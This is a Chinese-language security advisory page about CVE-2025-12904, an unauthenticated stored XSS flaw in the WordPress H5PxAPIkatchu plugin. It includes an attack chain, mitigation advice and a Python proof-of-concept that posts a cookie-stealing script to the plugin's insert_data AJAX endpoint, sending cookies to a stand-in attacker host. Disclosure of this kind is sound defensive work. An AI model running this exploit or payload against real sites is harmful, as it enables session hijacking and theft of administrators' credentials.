IPBUF安全漏洞报告
English
CVE-2025-12904 CVSS 7.2 高危

CVE-2025-12904 WordPress H5PxAPIkatchu插件存储型XSS漏洞

披露日期: 2025-11-14

漏洞信息

漏洞编号
CVE-2025-12904
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SNORDIAN H5PxAPIkatchu WordPress插件

相关标签

CVE-2025-12904存储型XSSWordPress插件漏洞H5PxAPIkatchu高危漏洞无需认证AJAX注入跨站脚本攻击

漏洞概述

CVE-2025-12904是WordPress平台H5PxAPIkatchu插件中的一个高危安全漏洞。该插件用于集成H5P互动内容到WordPress网站。漏洞存在于insert_data AJAX端点,由于插件在处理用户输入时未进行充分的输入清理(sanitization)和输出转义(output escaping),导致恶意JavaScript代码可以被存储到数据库中。当其他用户访问包含恶意代码的页面时,攻击者注入的脚本将在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取、恶意重定向等严重后果。由于该漏洞无需认证即可利用,攻击门槛较低,对使用受影响版本插件的网站构成严重威胁。攻击者可以利用此漏洞窃取管理员Cookie、提升权限或在网站上执行任意前端操作。

技术细节

漏洞根源在于H5PxAPIkatchu插件的insert_data AJAX端点(通常为wp-admin/admin-ajax.php)对用户提交的insert_data参数处理不当。攻击者可以通过构造特殊的恶意Payload(如<script>alert(document.cookie)</script>)直接POST请求到该端点。由于缺少对特殊字符的HTML转义处理,恶意脚本被直接存入WordPress数据库。当其他用户访问受污染的页面时,WordPress从数据库读取并输出内容时未进行适当转义,导致恶意脚本在用户浏览器上下文中执行。攻击者可以利用此漏洞窃取认证Cookie、进行CSRF攻击、或将受害者重定向至钓鱼站点。CVSS 3.1评分7.2(高危)反映了该漏洞的网络可达性、无需认证和无需用户交互的特性,但因机密性和完整性影响仅为低级别,故未达到严重级别。

攻击链分析

STEP 1
步骤1
攻击者识别目标WordPress网站是否安装H5PxAPIkatchu插件(版本<=0.4.17)
STEP 2
步骤2
攻击者构造恶意XSS Payload(如<script>标签或事件处理器)
STEP 3
步骤3
攻击者向insert_data AJAX端点发送未认证的POST请求,注入恶意脚本
STEP 4
步骤4
恶意脚本被存储到WordPress数据库中,未经过滤或转义
STEP 5
步骤5
当管理员或其他用户访问包含恶意内容的页面时,脚本在浏览器中执行
STEP 6
步骤6
攻击者通过XSS窃取用户Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12904 PoC - Stored XSS in H5PxAPIkatchu plugin # Target: WordPress site with H5PxAPIkatchu plugin <= 0.4.17 TARGET_URL = "http://target-wordpress-site.com" AJAX_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" def exploit_stored_xss(): """ Exploits CVE-2025-12904 by injecting malicious JavaScript via insert_data AJAX endpoint The injected script will execute when any user accesses the affected page """ # Malicious XSS payload - steals admin cookies xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # Prepare the POST request to insert_data endpoint data = { 'action': 'insert_data', # AJAX action hook 'insert_data': xss_payload # Unsanitized input field } try: # Send POST request without authentication (PR:N) response = requests.post(AJAX_ENDPOINT, data=data, timeout=10) if response.status_code == 200: print(f"[+] Payload sent successfully!") print(f"[+] The XSS payload has been stored in the database") print(f"[+] The script will execute when users access affected pages") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("CVE-2025-12904 - H5PxAPIkatchu Stored XSS Exploit") print("=" * 50) exploit_stored_xss()

影响范围

H5PxAPIkatchu <= 0.4.17

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时措施:1) 暂时禁用或删除H5PxAPIkatchu插件;2) 使用Web应用防火墙(WAF)规则阻止针对insert_data端点的异常请求;3) 实施严格的CSP策略限制内联脚本执行;4) 限制未认证用户对AJAX端点的访问权限。同时建议加强网站监控,及时发现异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表